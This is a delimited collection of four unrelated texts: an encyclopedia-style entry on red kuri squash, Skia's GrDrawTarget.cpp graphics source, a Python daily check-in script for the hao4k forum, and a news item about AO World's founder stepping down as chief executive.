Red kuri squash (often spelled 'kari') (katakana: ウチキクリ) is thin skinned orange colored winter squash, that has the appearance of a small pumpkin without the ridges. It belongs to the Hubbard squash group.
Inside the hard outer skin there is a firm flesh that provides a very delicate and mellow chestnut-like flavor. Red kuri squash is a cultivated variety of the species Cucurbita maxima. Other varieties of this subspecies include 'Hokkaido', 'Red Hokkaido' and 'Sweet Meat' squashes.
History
It is generally believed that all squash originated in Mesoamerica, but may have been independently cultivated elsewhere, albeit later.
Red kuri squash is commonly called "Japanese squash", "orange Hokkaido squash", "baby red hubbard squash", or "Uchiki kuri squash". In Japan, the word kuri may refer to either the squash discussed in this article or to Japanese chestnuts. In France, it is called potimarron, and in the United Kingdom, it is commonly called "onion squash".
Primarily grown in Japan, California, Florida, Southwestern Colorado, Mexico, Tasmania, Tonga, New Zealand, Chile, Provence, and South Africa, red kuri is widely adapted for climates that provide a growing season of 100 days or more. Most of the California, Colorado, Tonga and New Zealand crops are exported to Japan.
Characteristics
This hardy squash grows to maturity in full sun and is drought tolerant. Each vine produces multiple teardrop-shaped fruits, usually three. The squash matures about ninety days after blooming.
The squash is a hard-shelled winter variety with firm yellow flesh. The flesh often has a green tint under the seeds.
Culinary uses
Full-flavored and sweet, red kuri squash is often cooked with butter and herbs. It is an ingredient in a variety of soups, stews and casseroles. It can be made into cakes, quick breads, muffins, cookies, jams and pies with its nutty-tasting flesh. It can be baked, boiled, microwaved, steamed, sautéed or fried. This squash adds sweet flavor and texture to stir-fries. Its seed cavity is ideal for stuffing. |
<filename>src/gpu/GrDrawTarget.cpp
/*
* Copyright 2010 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "GrDrawTarget.h"
#include "GrBatch.h"
#include "GrContext.h"
#include "GrDrawTargetCaps.h"
#include "GrPath.h"
#include "GrPipeline.h"
#include "GrMemoryPool.h"
#include "GrRectBatch.h"
#include "GrRenderTarget.h"
#include "GrRenderTargetPriv.h"
#include "GrSurfacePriv.h"
#include "GrTemplates.h"
#include "GrTexture.h"
#include "GrVertexBuffer.h"
#include "SkStrokeRec.h"
////////////////////////////////////////////////////////////////////////////////
#define DEBUG_INVAL_BUFFER 0xdeadcafe
#define DEBUG_INVAL_START_IDX -1
GrDrawTarget::GrDrawTarget(GrContext* context)
: fContext(context)
, fCaps(SkRef(context->getGpu()->caps()))
, fGpuTraceMarkerCount(0)
, fFlushing(false) {
SkASSERT(context);
}
////////////////////////////////////////////////////////////////////////////////
bool GrDrawTarget::setupDstReadIfNecessary(const GrPipelineBuilder& pipelineBuilder,
const GrProcOptInfo& colorPOI,
const GrProcOptInfo& coveragePOI,
GrDeviceCoordTexture* dstCopy,
const SkRect* drawBounds) {
if (!pipelineBuilder.willXPNeedDstCopy(*this->caps(), colorPOI, coveragePOI)) {
return true;
}
GrRenderTarget* rt = pipelineBuilder.getRenderTarget();
if (this->caps()->textureBarrierSupport()) {
if (GrTexture* rtTex = rt->asTexture()) {
// The render target is a texture, se we can read from it directly in the shader. The XP
// will be responsible to detect this situation and request a texture barrier.
dstCopy->setTexture(rtTex);
dstCopy->setOffset(0, 0);
return true;
}
}
SkIRect copyRect;
pipelineBuilder.clip().getConservativeBounds(rt, ©Rect);
if (drawBounds) {
SkIRect drawIBounds;
drawBounds->roundOut(&drawIBounds);
if (!copyRect.intersect(drawIBounds)) {
#ifdef SK_DEBUG
GrContextDebugf(fContext, "Missed an early reject. "
"Bailing on draw from setupDstReadIfNecessary.\n");
#endif
return false;
}
} else {
#ifdef SK_DEBUG
//SkDebugf("No dev bounds when dst copy is made.\n");
#endif
}
// MSAA consideration: When there is support for reading MSAA samples in the shader we could
// have per-sample dst values by making the copy multisampled.
GrSurfaceDesc desc;
if (!this->getGpu()->initCopySurfaceDstDesc(rt, &desc)) {
desc.fOrigin = kDefault_GrSurfaceOrigin;
desc.fFlags = kRenderTarget_GrSurfaceFlag;
desc.fConfig = rt->config();
}
desc.fWidth = copyRect.width();
desc.fHeight = copyRect.height();
SkAutoTUnref<GrTexture> copy(fContext->textureProvider()->refScratchTexture(desc,
GrTextureProvider::kApprox_ScratchTexMatch));
if (!copy) {
SkDebugf("Failed to create temporary copy of destination texture.\n");
return false;
}
SkIPoint dstPoint = {0, 0};
if (this->copySurface(copy, rt, copyRect, dstPoint)) {
dstCopy->setTexture(copy);
dstCopy->setOffset(copyRect.fLeft, copyRect.fTop);
return true;
} else {
return false;
}
}
void GrDrawTarget::flush() {
if (fFlushing) {
return;
}
fFlushing = true;
this->getGpu()->saveActiveTraceMarkers();
this->onFlush();
this->getGpu()->restoreActiveTraceMarkers();
fFlushing = false;
this->reset();
}
void GrDrawTarget::drawBatch(GrPipelineBuilder* pipelineBuilder,
GrBatch* batch) {
SkASSERT(pipelineBuilder);
// TODO some kind of checkdraw, but not at this level
// Setup clip
GrScissorState scissorState;
GrPipelineBuilder::AutoRestoreFragmentProcessors arfp;
GrPipelineBuilder::AutoRestoreStencil ars;
if (!this->setupClip(pipelineBuilder, &arfp, &ars, &scissorState, &batch->bounds())) {
return;
}
// Batch bounds are tight, so for dev copies
// TODO move this into setupDstReadIfNecessary when paths are in batch
SkRect bounds = batch->bounds();
bounds.outset(0.5f, 0.5f);
GrDrawTarget::PipelineInfo pipelineInfo(pipelineBuilder, &scissorState, batch, &bounds,
this);
if (pipelineInfo.mustSkipDraw()) {
return;
}
this->onDrawBatch(batch, pipelineInfo);
}
static const GrStencilSettings& winding_path_stencil_settings() {
GR_STATIC_CONST_SAME_STENCIL_STRUCT(gSettings,
kIncClamp_StencilOp,
kIncClamp_StencilOp,
kAlwaysIfInClip_StencilFunc,
0xFFFF, 0xFFFF, 0xFFFF);
return *GR_CONST_STENCIL_SETTINGS_PTR_FROM_STRUCT_PTR(&gSettings);
}
static const GrStencilSettings& even_odd_path_stencil_settings() {
GR_STATIC_CONST_SAME_STENCIL_STRUCT(gSettings,
kInvert_StencilOp,
kInvert_StencilOp,
kAlwaysIfInClip_StencilFunc,
0xFFFF, 0xFFFF, 0xFFFF);
return *GR_CONST_STENCIL_SETTINGS_PTR_FROM_STRUCT_PTR(&gSettings);
}
void GrDrawTarget::getPathStencilSettingsForFilltype(GrPathRendering::FillType fill,
const GrStencilAttachment* sb,
GrStencilSettings* outStencilSettings) {
switch (fill) {
default:
SkFAIL("Unexpected path fill.");
case GrPathRendering::kWinding_FillType:
*outStencilSettings = winding_path_stencil_settings();
break;
case GrPathRendering::kEvenOdd_FillType:
*outStencilSettings = even_odd_path_stencil_settings();
break;
}
this->clipMaskManager()->adjustPathStencilParams(sb, outStencilSettings);
}
void GrDrawTarget::stencilPath(GrPipelineBuilder* pipelineBuilder,
const GrPathProcessor* pathProc,
const GrPath* path,
GrPathRendering::FillType fill) {
// TODO: extract portions of checkDraw that are relevant to path stenciling.
SkASSERT(path);
SkASSERT(this->caps()->shaderCaps()->pathRenderingSupport());
SkASSERT(pipelineBuilder);
// Setup clip
GrScissorState scissorState;
GrPipelineBuilder::AutoRestoreFragmentProcessors arfp;
GrPipelineBuilder::AutoRestoreStencil ars;
if (!this->setupClip(pipelineBuilder, &arfp, &ars, &scissorState, NULL)) {
return;
}
// set stencil settings for path
GrStencilSettings stencilSettings;
GrRenderTarget* rt = pipelineBuilder->getRenderTarget();
GrStencilAttachment* sb = rt->renderTargetPriv().attachStencilAttachment();
this->getPathStencilSettingsForFilltype(fill, sb, &stencilSettings);
this->onStencilPath(*pipelineBuilder, pathProc, path, scissorState, stencilSettings);
}
void GrDrawTarget::drawPath(GrPipelineBuilder* pipelineBuilder,
const GrPathProcessor* pathProc,
const GrPath* path,
GrPathRendering::FillType fill) {
// TODO: extract portions of checkDraw that are relevant to path rendering.
SkASSERT(path);
SkASSERT(this->caps()->shaderCaps()->pathRenderingSupport());
SkASSERT(pipelineBuilder);
SkRect devBounds = path->getBounds();
pathProc->viewMatrix().mapRect(&devBounds);
// Setup clip
GrScissorState scissorState;
GrPipelineBuilder::AutoRestoreFragmentProcessors arfp;
GrPipelineBuilder::AutoRestoreStencil ars;
if (!this->setupClip(pipelineBuilder, &arfp, &ars, &scissorState, &devBounds)) {
return;
}
// set stencil settings for path
GrStencilSettings stencilSettings;
GrRenderTarget* rt = pipelineBuilder->getRenderTarget();
GrStencilAttachment* sb = rt->renderTargetPriv().attachStencilAttachment();
this->getPathStencilSettingsForFilltype(fill, sb, &stencilSettings);
GrDrawTarget::PipelineInfo pipelineInfo(pipelineBuilder, &scissorState, pathProc, &devBounds,
this);
if (pipelineInfo.mustSkipDraw()) {
return;
}
this->onDrawPath(pathProc, path, stencilSettings, pipelineInfo);
}
void GrDrawTarget::drawPaths(GrPipelineBuilder* pipelineBuilder,
const GrPathProcessor* pathProc,
const GrPathRange* pathRange,
const void* indices,
PathIndexType indexType,
const float transformValues[],
PathTransformType transformType,
int count,
GrPathRendering::FillType fill) {
SkASSERT(this->caps()->shaderCaps()->pathRenderingSupport());
SkASSERT(pathRange);
SkASSERT(indices);
SkASSERT(0 == reinterpret_cast<long>(indices) % GrPathRange::PathIndexSizeInBytes(indexType));
SkASSERT(transformValues);
SkASSERT(pipelineBuilder);
// Setup clip
GrScissorState scissorState;
GrPipelineBuilder::AutoRestoreFragmentProcessors arfp;
GrPipelineBuilder::AutoRestoreStencil ars;
if (!this->setupClip(pipelineBuilder, &arfp, &ars, &scissorState, NULL)) {
return;
}
// set stencil settings for path
GrStencilSettings stencilSettings;
GrRenderTarget* rt = pipelineBuilder->getRenderTarget();
GrStencilAttachment* sb = rt->renderTargetPriv().attachStencilAttachment();
this->getPathStencilSettingsForFilltype(fill, sb, &stencilSettings);
// Don't compute a bounding box for dst copy texture, we'll opt
// instead for it to just copy the entire dst. Realistically this is a moot
// point, because any context that supports NV_path_rendering will also
// support NV_blend_equation_advanced.
GrDrawTarget::PipelineInfo pipelineInfo(pipelineBuilder, &scissorState, pathProc, NULL, this);
if (pipelineInfo.mustSkipDraw()) {
return;
}
this->onDrawPaths(pathProc, pathRange, indices, indexType, transformValues,
transformType, count, stencilSettings, pipelineInfo);
}
void GrDrawTarget::drawRect(GrPipelineBuilder* pipelineBuilder,
GrColor color,
const SkMatrix& viewMatrix,
const SkRect& rect,
const SkRect* localRect,
const SkMatrix* localMatrix) {
SkAutoTUnref<GrBatch> batch(GrRectBatch::Create(color, viewMatrix, rect, localRect,
localMatrix));
this->drawBatch(pipelineBuilder, batch);
}
void GrDrawTarget::clear(const SkIRect* rect,
GrColor color,
bool canIgnoreRect,
GrRenderTarget* renderTarget) {
if (fCaps->useDrawInsteadOfClear()) {
// This works around a driver bug with clear by drawing a rect instead.
// The driver will ignore a clear if it is the only thing rendered to a
// target before the target is read.
SkIRect rtRect = SkIRect::MakeWH(renderTarget->width(), renderTarget->height());
if (NULL == rect || canIgnoreRect || rect->contains(rtRect)) {
rect = &rtRect;
// We first issue a discard() since that may help tilers.
this->discard(renderTarget);
}
GrPipelineBuilder pipelineBuilder;
pipelineBuilder.setRenderTarget(renderTarget);
this->drawSimpleRect(&pipelineBuilder, color, SkMatrix::I(), *rect);
} else {
this->onClear(rect, color, canIgnoreRect, renderTarget);
}
}
typedef GrTraceMarkerSet::Iter TMIter;
void GrDrawTarget::saveActiveTraceMarkers() {
if (this->caps()->gpuTracingSupport()) {
SkASSERT(0 == fStoredTraceMarkers.count());
fStoredTraceMarkers.addSet(fActiveTraceMarkers);
for (TMIter iter = fStoredTraceMarkers.begin(); iter != fStoredTraceMarkers.end(); ++iter) {
this->removeGpuTraceMarker(&(*iter));
}
}
}
void GrDrawTarget::restoreActiveTraceMarkers() {
if (this->caps()->gpuTracingSupport()) {
SkASSERT(0 == fActiveTraceMarkers.count());
for (TMIter iter = fStoredTraceMarkers.begin(); iter != fStoredTraceMarkers.end(); ++iter) {
this->addGpuTraceMarker(&(*iter));
}
for (TMIter iter = fActiveTraceMarkers.begin(); iter != fActiveTraceMarkers.end(); ++iter) {
this->fStoredTraceMarkers.remove(*iter);
}
}
}
void GrDrawTarget::addGpuTraceMarker(const GrGpuTraceMarker* marker) {
if (this->caps()->gpuTracingSupport()) {
SkASSERT(fGpuTraceMarkerCount >= 0);
this->fActiveTraceMarkers.add(*marker);
++fGpuTraceMarkerCount;
}
}
void GrDrawTarget::removeGpuTraceMarker(const GrGpuTraceMarker* marker) {
if (this->caps()->gpuTracingSupport()) {
SkASSERT(fGpuTraceMarkerCount >= 1);
this->fActiveTraceMarkers.remove(*marker);
--fGpuTraceMarkerCount;
}
}
////////////////////////////////////////////////////////////////////////////////
namespace {
// returns true if the read/written rect intersects the src/dst and false if not.
bool clip_srcrect_and_dstpoint(const GrSurface* dst,
const GrSurface* src,
const SkIRect& srcRect,
const SkIPoint& dstPoint,
SkIRect* clippedSrcRect,
SkIPoint* clippedDstPoint) {
*clippedSrcRect = srcRect;
*clippedDstPoint = dstPoint;
// clip the left edge to src and dst bounds, adjusting dstPoint if necessary
if (clippedSrcRect->fLeft < 0) {
clippedDstPoint->fX -= clippedSrcRect->fLeft;
clippedSrcRect->fLeft = 0;
}
if (clippedDstPoint->fX < 0) {
clippedSrcRect->fLeft -= clippedDstPoint->fX;
clippedDstPoint->fX = 0;
}
// clip the top edge to src and dst bounds, adjusting dstPoint if necessary
if (clippedSrcRect->fTop < 0) {
clippedDstPoint->fY -= clippedSrcRect->fTop;
clippedSrcRect->fTop = 0;
}
if (clippedDstPoint->fY < 0) {
clippedSrcRect->fTop -= clippedDstPoint->fY;
clippedDstPoint->fY = 0;
}
// clip the right edge to the src and dst bounds.
if (clippedSrcRect->fRight > src->width()) {
clippedSrcRect->fRight = src->width();
}
if (clippedDstPoint->fX + clippedSrcRect->width() > dst->width()) {
clippedSrcRect->fRight = clippedSrcRect->fLeft + dst->width() - clippedDstPoint->fX;
}
// clip the bottom edge to the src and dst bounds.
if (clippedSrcRect->fBottom > src->height()) {
clippedSrcRect->fBottom = src->height();
}
if (clippedDstPoint->fY + clippedSrcRect->height() > dst->height()) {
clippedSrcRect->fBottom = clippedSrcRect->fTop + dst->height() - clippedDstPoint->fY;
}
// The above clipping steps may have inverted the rect if it didn't intersect either the src or
// dst bounds.
return !clippedSrcRect->isEmpty();
}
}
bool GrDrawTarget::copySurface(GrSurface* dst,
GrSurface* src,
const SkIRect& srcRect,
const SkIPoint& dstPoint) {
SkASSERT(dst);
SkASSERT(src);
SkIRect clippedSrcRect;
SkIPoint clippedDstPoint;
// If the rect is outside the src or dst then we've already succeeded.
if (!clip_srcrect_and_dstpoint(dst,
src,
srcRect,
dstPoint,
&clippedSrcRect,
&clippedDstPoint)) {
return true;
}
if (this->getGpu()->canCopySurface(dst, src, clippedSrcRect, clippedDstPoint)) {
this->onCopySurface(dst, src, clippedSrcRect, clippedDstPoint);
return true;
}
GrRenderTarget* rt = dst->asRenderTarget();
GrTexture* tex = src->asTexture();
if ((dst == src) || !rt || !tex) {
return false;
}
GrPipelineBuilder pipelineBuilder;
pipelineBuilder.setRenderTarget(rt);
SkMatrix matrix;
matrix.setTranslate(SkIntToScalar(clippedSrcRect.fLeft - clippedDstPoint.fX),
SkIntToScalar(clippedSrcRect.fTop - clippedDstPoint.fY));
matrix.postIDiv(tex->width(), tex->height());
pipelineBuilder.addColorTextureProcessor(tex, matrix);
SkIRect dstRect = SkIRect::MakeXYWH(clippedDstPoint.fX,
clippedDstPoint.fY,
clippedSrcRect.width(),
clippedSrcRect.height());
this->drawSimpleRect(&pipelineBuilder, GrColor_WHITE, SkMatrix::I(), dstRect);
return true;
}
bool GrDrawTarget::canCopySurface(const GrSurface* dst,
const GrSurface* src,
const SkIRect& srcRect,
const SkIPoint& dstPoint) {
SkASSERT(dst);
SkASSERT(src);
SkIRect clippedSrcRect;
SkIPoint clippedDstPoint;
// If the rect is outside the src or dst then we're guaranteed success
if (!clip_srcrect_and_dstpoint(dst,
src,
srcRect,
dstPoint,
&clippedSrcRect,
&clippedDstPoint)) {
return true;
}
return ((dst != src) && dst->asRenderTarget() && src->asTexture()) ||
this->getGpu()->canCopySurface(dst, src, clippedSrcRect, clippedDstPoint);
}
void GrDrawTarget::setupPipeline(const PipelineInfo& pipelineInfo,
GrPipeline* pipeline) {
SkNEW_PLACEMENT_ARGS(pipeline, GrPipeline, (*pipelineInfo.fPipelineBuilder,
pipelineInfo.fColorPOI,
pipelineInfo.fCoveragePOI,
*this->caps(),
*pipelineInfo.fScissor,
&pipelineInfo.fDstCopy));
}
///////////////////////////////////////////////////////////////////////////////
GrDrawTarget::PipelineInfo::PipelineInfo(GrPipelineBuilder* pipelineBuilder,
GrScissorState* scissor,
const GrPrimitiveProcessor* primProc,
const SkRect* devBounds,
GrDrawTarget* target)
: fPipelineBuilder(pipelineBuilder)
, fScissor(scissor) {
fColorPOI = fPipelineBuilder->colorProcInfo(primProc);
fCoveragePOI = fPipelineBuilder->coverageProcInfo(primProc);
if (!target->setupDstReadIfNecessary(*fPipelineBuilder, fColorPOI, fCoveragePOI,
&fDstCopy, devBounds)) {
fPipelineBuilder = NULL;
}
}
GrDrawTarget::PipelineInfo::PipelineInfo(GrPipelineBuilder* pipelineBuilder,
GrScissorState* scissor,
const GrBatch* batch,
const SkRect* devBounds,
GrDrawTarget* target)
: fPipelineBuilder(pipelineBuilder)
, fScissor(scissor) {
fColorPOI = fPipelineBuilder->colorProcInfo(batch);
fCoveragePOI = fPipelineBuilder->coverageProcInfo(batch);
if (!target->setupDstReadIfNecessary(*fPipelineBuilder, fColorPOI, fCoveragePOI,
&fDstCopy, devBounds)) {
fPipelineBuilder = NULL;
}
}
///////////////////////////////////////////////////////////////////////////////
void GrShaderCaps::reset() {
fShaderDerivativeSupport = false;
fGeometryShaderSupport = false;
fPathRenderingSupport = false;
fDstReadInShaderSupport = false;
fDualSourceBlendingSupport = false;
fShaderPrecisionVaries = false;
}
GrShaderCaps& GrShaderCaps::operator=(const GrShaderCaps& other) {
fShaderDerivativeSupport = other.fShaderDerivativeSupport;
fGeometryShaderSupport = other.fGeometryShaderSupport;
fPathRenderingSupport = other.fPathRenderingSupport;
fDstReadInShaderSupport = other.fDstReadInShaderSupport;
fDualSourceBlendingSupport = other.fDualSourceBlendingSupport;
fShaderPrecisionVaries = other.fShaderPrecisionVaries;
for (int s = 0; s < kGrShaderTypeCount; ++s) {
for (int p = 0; p < kGrSLPrecisionCount; ++p) {
fFloatPrecisions[s][p] = other.fFloatPrecisions[s][p];
}
}
return *this;
}
static const char* shader_type_to_string(GrShaderType type) {
switch (type) {
case kVertex_GrShaderType:
return "vertex";
case kGeometry_GrShaderType:
return "geometry";
case kFragment_GrShaderType:
return "fragment";
}
return "";
}
static const char* precision_to_string(GrSLPrecision p) {
switch (p) {
case kLow_GrSLPrecision:
return "low";
case kMedium_GrSLPrecision:
return "medium";
case kHigh_GrSLPrecision:
return "high";
}
return "";
}
SkString GrShaderCaps::dump() const {
SkString r;
static const char* gNY[] = { "NO", "YES" };
r.appendf("Shader Derivative Support : %s\n", gNY[fShaderDerivativeSupport]);
r.appendf("Geometry Shader Support : %s\n", gNY[fGeometryShaderSupport]);
r.appendf("Path Rendering Support : %s\n", gNY[fPathRenderingSupport]);
r.appendf("Dst Read In Shader Support : %s\n", gNY[fDstReadInShaderSupport]);
r.appendf("Dual Source Blending Support : %s\n", gNY[fDualSourceBlendingSupport]);
r.appendf("Shader Float Precisions (varies: %s):\n", gNY[fShaderPrecisionVaries]);
for (int s = 0; s < kGrShaderTypeCount; ++s) {
GrShaderType shaderType = static_cast<GrShaderType>(s);
r.appendf("\t%s:\n", shader_type_to_string(shaderType));
for (int p = 0; p < kGrSLPrecisionCount; ++p) {
if (fFloatPrecisions[s][p].supported()) {
GrSLPrecision precision = static_cast<GrSLPrecision>(p);
r.appendf("\t\t%s: log_low: %d log_high: %d bits: %d\n",
precision_to_string(precision),
fFloatPrecisions[s][p].fLogRangeLow,
fFloatPrecisions[s][p].fLogRangeHigh,
fFloatPrecisions[s][p].fBits);
}
}
}
return r;
}
///////////////////////////////////////////////////////////////////////////////
void GrDrawTargetCaps::reset() {
fMipMapSupport = false;
fNPOTTextureTileSupport = false;
fTwoSidedStencilSupport = false;
fStencilWrapOpsSupport = false;
fDiscardRenderTargetSupport = false;
fReuseScratchTextures = true;
fGpuTracingSupport = false;
fCompressedTexSubImageSupport = false;
fOversizedStencilSupport = false;
fTextureBarrierSupport = false;
fUseDrawInsteadOfClear = false;
fBlendEquationSupport = kBasic_BlendEquationSupport;
fMapBufferFlags = kNone_MapFlags;
fMaxRenderTargetSize = 0;
fMaxTextureSize = 0;
fMaxSampleCount = 0;
memset(fConfigRenderSupport, 0, sizeof(fConfigRenderSupport));
memset(fConfigTextureSupport, 0, sizeof(fConfigTextureSupport));
}
GrDrawTargetCaps& GrDrawTargetCaps::operator=(const GrDrawTargetCaps& other) {
fMipMapSupport = other.fMipMapSupport;
fNPOTTextureTileSupport = other.fNPOTTextureTileSupport;
fTwoSidedStencilSupport = other.fTwoSidedStencilSupport;
fStencilWrapOpsSupport = other.fStencilWrapOpsSupport;
fDiscardRenderTargetSupport = other.fDiscardRenderTargetSupport;
fReuseScratchTextures = other.fReuseScratchTextures;
fGpuTracingSupport = other.fGpuTracingSupport;
fCompressedTexSubImageSupport = other.fCompressedTexSubImageSupport;
fOversizedStencilSupport = other.fOversizedStencilSupport;
fTextureBarrierSupport = other.fTextureBarrierSupport;
fUseDrawInsteadOfClear = other.fUseDrawInsteadOfClear;
fBlendEquationSupport = other.fBlendEquationSupport;
fMapBufferFlags = other.fMapBufferFlags;
fMaxRenderTargetSize = other.fMaxRenderTargetSize;
fMaxTextureSize = other.fMaxTextureSize;
fMaxSampleCount = other.fMaxSampleCount;
memcpy(fConfigRenderSupport, other.fConfigRenderSupport, sizeof(fConfigRenderSupport));
memcpy(fConfigTextureSupport, other.fConfigTextureSupport, sizeof(fConfigTextureSupport));
return *this;
}
static SkString map_flags_to_string(uint32_t flags) {
SkString str;
if (GrDrawTargetCaps::kNone_MapFlags == flags) {
str = "none";
} else {
SkASSERT(GrDrawTargetCaps::kCanMap_MapFlag & flags);
SkDEBUGCODE(flags &= ~GrDrawTargetCaps::kCanMap_MapFlag);
str = "can_map";
if (GrDrawTargetCaps::kSubset_MapFlag & flags) {
str.append(" partial");
} else {
str.append(" full");
}
SkDEBUGCODE(flags &= ~GrDrawTargetCaps::kSubset_MapFlag);
}
SkASSERT(0 == flags); // Make sure we handled all the flags.
return str;
}
SkString GrDrawTargetCaps::dump() const {
SkString r;
static const char* gNY[] = {"NO", "YES"};
r.appendf("MIP Map Support : %s\n", gNY[fMipMapSupport]);
r.appendf("NPOT Texture Tile Support : %s\n", gNY[fNPOTTextureTileSupport]);
r.appendf("Two Sided Stencil Support : %s\n", gNY[fTwoSidedStencilSupport]);
r.appendf("Stencil Wrap Ops Support : %s\n", gNY[fStencilWrapOpsSupport]);
r.appendf("Discard Render Target Support : %s\n", gNY[fDiscardRenderTargetSupport]);
r.appendf("Reuse Scratch Textures : %s\n", gNY[fReuseScratchTextures]);
r.appendf("Gpu Tracing Support : %s\n", gNY[fGpuTracingSupport]);
r.appendf("Compressed Update Support : %s\n", gNY[fCompressedTexSubImageSupport]);
r.appendf("Oversized Stencil Support : %s\n", gNY[fOversizedStencilSupport]);
r.appendf("Texture Barrier Support : %s\n", gNY[fTextureBarrierSupport]);
r.appendf("Draw Instead of Clear [workaround] : %s\n", gNY[fUseDrawInsteadOfClear]);
r.appendf("Max Texture Size : %d\n", fMaxTextureSize);
r.appendf("Max Render Target Size : %d\n", fMaxRenderTargetSize);
r.appendf("Max Sample Count : %d\n", fMaxSampleCount);
static const char* kBlendEquationSupportNames[] = {
"Basic",
"Advanced",
"Advanced Coherent",
};
GR_STATIC_ASSERT(0 == kBasic_BlendEquationSupport);
GR_STATIC_ASSERT(1 == kAdvanced_BlendEquationSupport);
GR_STATIC_ASSERT(2 == kAdvancedCoherent_BlendEquationSupport);
GR_STATIC_ASSERT(SK_ARRAY_COUNT(kBlendEquationSupportNames) == kLast_BlendEquationSupport + 1);
r.appendf("Blend Equation Support : %s\n",
kBlendEquationSupportNames[fBlendEquationSupport]);
r.appendf("Map Buffer Support : %s\n",
map_flags_to_string(fMapBufferFlags).c_str());
static const char* kConfigNames[] = {
"Unknown", // kUnknown_GrPixelConfig
"Alpha8", // kAlpha_8_GrPixelConfig,
"Index8", // kIndex_8_GrPixelConfig,
"RGB565", // kRGB_565_GrPixelConfig,
"RGBA444", // kRGBA_4444_GrPixelConfig,
"RGBA8888", // kRGBA_8888_GrPixelConfig,
"BGRA8888", // kBGRA_8888_GrPixelConfig,
"SRGBA8888",// kSRGBA_8888_GrPixelConfig,
"ETC1", // kETC1_GrPixelConfig,
"LATC", // kLATC_GrPixelConfig,
"R11EAC", // kR11_EAC_GrPixelConfig,
"ASTC12x12",// kASTC_12x12_GrPixelConfig,
"RGBAFloat",// kRGBA_float_GrPixelConfig
"AlphaHalf",// kAlpha_half_GrPixelConfig
};
GR_STATIC_ASSERT(0 == kUnknown_GrPixelConfig);
GR_STATIC_ASSERT(1 == kAlpha_8_GrPixelConfig);
GR_STATIC_ASSERT(2 == kIndex_8_GrPixelConfig);
GR_STATIC_ASSERT(3 == kRGB_565_GrPixelConfig);
GR_STATIC_ASSERT(4 == kRGBA_4444_GrPixelConfig);
GR_STATIC_ASSERT(5 == kRGBA_8888_GrPixelConfig);
GR_STATIC_ASSERT(6 == kBGRA_8888_GrPixelConfig);
GR_STATIC_ASSERT(7 == kSRGBA_8888_GrPixelConfig);
GR_STATIC_ASSERT(8 == kETC1_GrPixelConfig);
GR_STATIC_ASSERT(9 == kLATC_GrPixelConfig);
GR_STATIC_ASSERT(10 == kR11_EAC_GrPixelConfig);
GR_STATIC_ASSERT(11 == kASTC_12x12_GrPixelConfig);
GR_STATIC_ASSERT(12 == kRGBA_float_GrPixelConfig);
GR_STATIC_ASSERT(13 == kAlpha_half_GrPixelConfig);
GR_STATIC_ASSERT(SK_ARRAY_COUNT(kConfigNames) == kGrPixelConfigCnt);
SkASSERT(!fConfigRenderSupport[kUnknown_GrPixelConfig][0]);
SkASSERT(!fConfigRenderSupport[kUnknown_GrPixelConfig][1]);
for (size_t i = 1; i < SK_ARRAY_COUNT(kConfigNames); ++i) {
r.appendf("%s is renderable: %s, with MSAA: %s\n",
kConfigNames[i],
gNY[fConfigRenderSupport[i][0]],
gNY[fConfigRenderSupport[i][1]]);
}
SkASSERT(!fConfigTextureSupport[kUnknown_GrPixelConfig]);
for (size_t i = 1; i < SK_ARRAY_COUNT(kConfigNames); ++i) {
r.appendf("%s is uploadable to a texture: %s\n",
kConfigNames[i],
gNY[fConfigTextureSupport[i]]);
}
return r;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
bool GrClipTarget::setupClip(GrPipelineBuilder* pipelineBuilder,
GrPipelineBuilder::AutoRestoreFragmentProcessors* arfp,
GrPipelineBuilder::AutoRestoreStencil* ars,
GrScissorState* scissorState,
const SkRect* devBounds) {
return fClipMaskManager.setupClipping(pipelineBuilder,
arfp,
ars,
scissorState,
devBounds);
}
|
<reponame>CrazydYang/hao4k-signin-action
import requests
import os
import re
# hao4k 账户信息
username = os.environ["HAO4K_USERNAME"]
password = os.environ["<PASSWORD>_PASSWORD"]
# 添加 server 酱通知
sckey = os.environ["SERVERCHAN_SCKEY"]
send_url = "https://sctapi.ftqq.com/%s.send" % (sckey)
send_content = 'Server ERROR'
# hao4k 签到 url
user_url = "https://www.hao4k.cn//member.php?mod=logging&action=login"
base_url = "https://www.hao4k.cn/"
signin_url = "https://www.hao4k.cn/plugin.php?id=k_misign:sign&operation=qiandao&formhash={formhash}&format=empty"
form_data = {
'formhash': "",
'referer': "https://www.hao4k.cn/",
'username': username,
'password': password,
'questionid': "0",
'answer': ""
}
inajax = '&inajax=1'
def run(form_data):
s = requests.Session()
s.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36'})
headers = {"Content-Type": "text/html", 'Connection': 'close'}
user_resp = s.get(user_url,headers=headers)
login_text = re.findall('action="(.*?)"', user_resp.text)
for loginhash in login_text:
if 'loginhash' in loginhash:
login_url = base_url + loginhash + inajax
login_url = login_url.replace("amp;", "")
print(login_url)
form_text = re.search('formhash=(.*?)\'', user_resp.text)
print(form_text.group(1))
form_data['formhash'] = form_text.group(1)
print(form_data)
login_resp = s.post(login_url, data=form_data)
test_resp = s.get('https://www.hao4k.cn/k_misign-sign.html',headers=headers)
if username in test_resp.text:
print('login!')
else:
return 'login failed!'
signin_text = re.search('formhash=(.*?)"', test_resp.text)
signin_resp = s.get(signin_url.format(formhash=signin_text.group(1)))
test_resp = s.get('https://www.hao4k.cn/k_misign-sign.html',headers=headers)
if '您的签到排名' in test_resp.text:
print('signin!')
else:
return 'signin failed!'
if __name__ == "__main__":
signin_log = run(form_data)
if signin_log is None:
send_content = "hao4k 每日签到成功！"
print('Sign in automatically!')
else:
send_content = signin_log
print(signin_log)
params = {'text': 'hao4k 每日签到结果通知：', 'desp': send_content}
requests.post(send_url, params=params)
print('已通知 server 酱')
|
John Roberts, the man who founded online electricals retailer AO World after a bet in a pub, has announced he is stepping down as chief executive after 17 years with the company.
The AO World founder will retain a a new role on the board- as founder, executive director - and will be succeeded as chief executive by Steve Caunce, currently chief operating officer.
Mr Roberts denied that his departure was a "fait accompli" and said that it had been an "evolution of roles that has been discussed for some time, we are a brotherhood and partnership."
"Anyone who asks knows that it has been Steve [Caunce] running the business on a day-to-day basis for some time", Mr Roberts said. |
